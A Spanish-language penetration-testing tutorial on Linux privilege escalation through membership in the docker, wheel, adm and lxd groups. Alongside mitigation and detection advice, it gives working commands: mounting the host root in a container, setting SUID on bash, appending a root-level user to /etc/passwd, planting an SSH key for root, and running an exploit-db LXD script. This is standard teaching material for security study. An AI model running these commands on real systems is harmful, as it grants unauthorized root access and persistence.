🔐 Abuso de Grupos de Usuario Especiales: Escalada de Privilegios
Vector crítico de escalada
Los grupos especiales de usuario son uno de los vectores más comunes pero pasados por alto para la escalada de privilegios en sistemas Linux. Muchos administradores asignan usuarios a grupos privilegiados sin comprender completamente las implicaciones de seguridad.
📋 Tabla de Contenidos
🔍 Identificación de Grupos
Enumeración inicial
El primer paso tras comprometer un sistema es identificar los grupos a los que pertenece el usuario actual:
# Ver información detallada del usuario actual
id
# Ejemplo de salida peligrosa:
# uid=1000(liskov) gid=1000(liskov) grupos=1000(liskov),963(docker),998(wheel)
# Información adicional sobre grupos
groups
# Ver todos los grupos del sistema
getent group
# Verificar usuarios en grupos específicos
getent group docker
getent group wheel
getent group admAnálisis de permisos especiales
graph TD A[Usuario Comprometido] --> B[Identificar Grupos] B --> C{Grupos Peligrosos?} C -->|Sí| D[Docker] C -->|Sí| E[Wheel] C -->|Sí| F[ADM] C -->|Sí| G[LXD] C -->|No| H[Buscar otros vectores] D --> I[Container Escape] E --> J[Sudo Access] F --> K[Log Access] G --> L[Container Privilege Escalation] style C fill:#fff3e0,stroke:#f57c00 style I fill:#ffcdd2,stroke:#d32f2f style J fill:#ffcdd2,stroke:#d32f2f style K fill:#fff3e0,stroke:#ff9800 style L fill:#ffcdd2,stroke:#d32f2f
🐳 Docker Group
Equivalente a acceso root
Pertenecer al grupo
dockeres equivalente a tener acceso root en el sistema, ya que permite ejecutar contenedores con montajes privilegiados.
¿Por qué es peligroso?
Docker ejecuta como demonio con privilegios de root. Los usuarios del grupo docker pueden:
- Crear contenedores con montajes arbitrarios
- Acceder a todo el sistema de archivos del host
- Ejecutar procesos como root dentro del contenedor
Explotación paso a paso
1. Verificar acceso a Docker
# Comprobar que Docker está disponible
docker --version
# Verificar que podemos ejecutar comandos Docker
docker ps2. Obtener imagen base
# Descargar imagen de Ubuntu (o usar cualquier imagen disponible)
docker pull ubuntu:latest
# Ver imágenes disponibles
docker images3. Crear contenedor con montaje peligroso
# Montar el sistema de archivos completo del host
docker run --rm -dit -v /:/mnt/root --name priv ubuntu
# Explicación de parámetros:
# --rm: Eliminar contenedor al salir
# -dit: Detached, interactive, pseudo-TTY
# -v /:/mnt/root: Montar raíz del host en /mnt/root del contenedor
# --name priv: Nombrar el contenedor como 'priv'¿Qué hace el montaje?
El parámetro
-v /:/mnt/rootmonta todo el sistema de archivos del host dentro del contenedor en/mnt/root. Esto significa que:
- Puedes acceder a cualquier archivo del sistema host
- Los cambios se reflejan directamente en el sistema host
- Puedes modificar archivos críticos como
/etc/passwd,/etc/shadow- Puedes asignar permisos SUID a binarios
4. Acceder al contenedor y escalar privilegios
# Entrar al contenedor como root
docker exec -it priv bash
# Navegar al sistema de archivos del host
cd /mnt/root
# Ahora estás en la raíz del sistema host con privilegios de root
ls -la
# Opciones de escalada:
# 1. Modificar /etc/passwd para agregar usuario root
# 2. Asignar SUID a bash
# 3. Agregar clave SSH a root
# 4. Modificar sudoersTécnicas específicas de escalada:
# Método 1: Asignar SUID a bash
chmod u+s /mnt/root/bin/bash
# Salir del contenedor y ejecutar bash con privilegios
exit
/bin/bash -p # El flag -p mantiene privilegios
# Método 2: Crear usuario root adicional
echo 'hacker:$6$xyz$hashedpassword:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
# Método 3: Agregar clave SSH
mkdir -p /mnt/root/root/.ssh
echo 'tu_clave_publica' >> /mnt/root/root/.ssh/authorized_keys
chmod 600 /mnt/root/root/.ssh/authorized_keys
chmod 700 /mnt/root/root/.ssh⚙️ Wheel Group
Grupo administrativo tradicional
El grupo
wheeles tradicionalmente usado en sistemas BSD y algunas distribuciones Linux para identificar usuarios con capacidades administrativas.
Configuración típica
En distribuciones como Arch Linux, el archivo /etc/sudoers está configurado para permitir sudo a miembros del grupo wheel:
# Verificar configuración en /etc/sudoers
sudo cat /etc/sudoers | grep wheel
# Configuración típica:
# %wheel ALL=(ALL) ALLExplotación
# Si eres miembro del grupo wheel, probablemente puedes usar sudo
sudo -l
# Intentar obtener shell root
sudo su -
sudo bash
# Si hay restricciones, explorar comandos permitidos
sudo -l -U username📊 ADM Group
Acceso a logs del sistema
El grupo
admtradicionalmente tiene acceso de lectura a los archivos de log del sistema, lo que puede revelar información sensible.
Gestión del grupo ADM
# Agregar usuario al grupo adm (para pruebas)
sudo usermod -a -G adm username
# Eliminar usuario del grupo adm
sudo gpasswd -d username adm
# Verificar miembros del grupo
getent group admInformación disponible
Los miembros del grupo adm pueden acceder a logs en /var/log/:
# Logs accesibles típicamente
ls -la /var/log/
# Información sensible que puede encontrarse:
cat /var/log/auth.log # Intentos de autenticación
cat /var/log/syslog # Mensajes del sistema
cat /var/log/apache2/access.log # Logs de servidor web
cat /var/log/mail.log # Logs de correo
# Buscar credenciales o información sensible
grep -r "password\|credential\|token" /var/log/ 2>/dev/null
grep -r "user\|login\|auth" /var/log/auth.logVectores de escalada desde ADM
# Buscar credenciales en logs
grep -i "password" /var/log/*.log 2>/dev/null
# Identificar servicios y versiones
grep -i "started\|service" /var/log/syslog
# Buscar errores que puedan indicar vulnerabilidades
grep -i "error\|failed\|exception" /var/log/*.log📦 LXD Group
Similar a Docker
LXD es un hypervisor de contenedores que, al igual que Docker, puede ser abusado para escalada de privilegios mediante montajes privilegiados.
Identificación de LXD
# Verificar si LXD está instalado y disponible
lxd --version
lxc --version
# Ver contenedores existentes
lxc list
# Ver imágenes disponibles
lxc image listExplotación con LXD
El proceso es similar a Docker pero usando comandos LXD:
# Crear contenedor con montaje privilegiado
lxc init ubuntu:18.04 privesc -c security.privileged=true
# Montar sistema de archivos del host
lxc config device add privesc host-root disk source=/ path=/mnt/root
# Iniciar contenedor
lxc start privesc
# Ejecutar shell en el contenedor
lxc exec privesc /bin/bashUso de exploits automatizados
Con searchsploit podemos encontrar exploits específicos para LXD:
# Buscar exploits de escalada de privilegios para LXD
searchsploit "lxd privilege escalation"
# Descargar exploit específico
searchsploit -m linux/local/46978.sh
# Ejecutar exploit (típicamente automatiza el proceso anterior)
chmod +x 46978.sh
./46978.sh🔄 Metodología de Explotación
Flujo general de ataque
sequenceDiagram participant A as Atacante participant S as Sistema Comprometido participant C as Contenedor/Servicio participant R as Root Access A->>S: Acceso inicial (usuario limitado) A->>S: id (identificar grupos) S->>A: grupos=docker,wheel,adm,lxd A->>S: Evaluar vector más prometedor alt Docker disponible A->>C: docker run con montaje privilegiado C->>S: Acceso a sistema de archivos host A->>R: Modificar archivos críticos else Wheel group + sudo A->>S: sudo su - S->>R: Shell root directo else ADM + información sensible A->>S: grep credenciales en logs S->>A: Credenciales de otros usuarios A->>R: Escalada lateral/vertical end
Script de enumeración automatizada
#!/bin/bash
# enum_groups.sh - Enumeración de grupos peligrosos
echo "[*] Enumerando grupos del usuario actual..."
user_groups=$(id | grep -o 'grupos=[^)]*' | cut -d= -f2)
echo "Grupos actuales: $user_groups"
# Comprobar grupos peligrosos
dangerous_groups=("docker" "wheel" "admin" "adm" "lxd" "lxc" "disk" "video")
echo -e "\n[*] Verificando grupos peligrosos..."
for group in "${dangerous_groups[@]}"; do
if id | grep -q "\b$group\b"; then
echo "[!] ENCONTRADO: Grupo peligroso '$group'"
case $group in
"docker")
echo " -> Puede ejecutar: docker run --rm -it -v /:/mnt alpine chroot /mnt sh"
;;
"wheel"|"admin")
echo " -> Verificar: sudo -l"
;;
"adm")
echo " -> Acceso a logs: ls -la /var/log/"
;;
"lxd"|"lxc")
echo " -> Escalada LXD posible"
;;
esac
fi
done
# Verificar Docker específicamente
if command -v docker &> /dev/null && docker ps &> /dev/null; then
echo "[!] Docker está disponible y accesible!"
echo " Comando de escalada: docker run --rm -dit -v /:/mnt/root --name priv ubuntu"
fi
# Verificar LXD
if command -v lxc &> /dev/null; then
echo "[!] LXD/LXC disponible!"
echo " Buscar exploits: searchsploit lxd privilege escalation"
fi🛡️ Detección y Mitigación
Para administradores de sistemas
Recomendaciones de seguridad
Principio de menor privilegio:
- Solo agregar usuarios a grupos especiales cuando sea absolutamente necesario
- Revisar periódicamente la membresía de grupos críticos
- Usar herramientas como
sudocon reglas específicas en lugar de grupos ampliosMonitoreo:
- Auditar regularmente comandos Docker/LXD ejecutados
- Monitorear creación de contenedores con montajes privilegiados
- Alertar sobre modificaciones a archivos críticos del sistema
Configuraciones más seguras
# En lugar de agregar usuarios al grupo docker:
# Usar sudo con comandos específicos
echo "username ALL=(ALL) NOPASSWD: /usr/bin/docker run *" >> /etc/sudoers.d/docker-limited
# Para LXD, limitar capacidades:
lxc config set core.unprivileged_only true
# Monitorear actividad de contenedores:
echo 'audit.rules: -w /usr/bin/docker -p x -k docker_exec' >> /etc/audit/rules.d/docker.rulesScripts de detección
# Detectar montajes sospechosos en contenedores
docker ps --format "table {{.Names}}\t{{.Mounts}}" | grep -E "(/:|/root|/etc|/var)"
# Auditar grupos peligrosos
for group in docker wheel adm lxd; do
echo "=== Grupo $group ==="
getent group $group
done📚 Otros Grupos Relevantes
Tabla de grupos adicionales
| Grupo | Descripción | Vector de escalada |
|---|---|---|
| disk | Acceso directo a dispositivos de disco | Leer/escribir particiones raw |
| video | Acceso a dispositivos de video | Keylogging via framebuffer |
| audio | Acceso a dispositivos de audio | Grabación de audio |
| plugdev | Acceso a dispositivos conectables | Montaje de dispositivos USB |
| netdev | Configuración de red | Manipulación de interfaces de red |
| sudo | Acceso directo a sudo | Equivalente a root |
Comandos de verificación
# Verificar todos los grupos del usuario actual
id | tr ',' '\n' | grep -E "(docker|wheel|adm|lxd|disk|video|audio|sudo)"
# Buscar usuarios en grupos críticos
for group in docker wheel adm lxd disk video sudo; do
echo "=== $group ==="
getent group $group | cut -d: -f4 | tr ',' '\n' | sort
echo
done🔗 Referencias
- searchsploit - Búsqueda de exploits para escalada de privilegios
- Docker Security Best Practices
- LXD/LXC Security Documentation
- Linux Group Management (man pages: groupadd, usermod, gpasswd)
Puntos clave para recordar
- Enumerar siempre los grupos del usuario tras comprometer un sistema
- Docker y LXD son prácticamente equivalentes a acceso root
- El grupo wheel a menudo permite sudo sin restricciones
- El grupo adm puede revelar información sensible en logs
- Principio de menor privilegio es crucial para la defensa
- Monitoreo activo puede detectar abusos de grupos privilegiados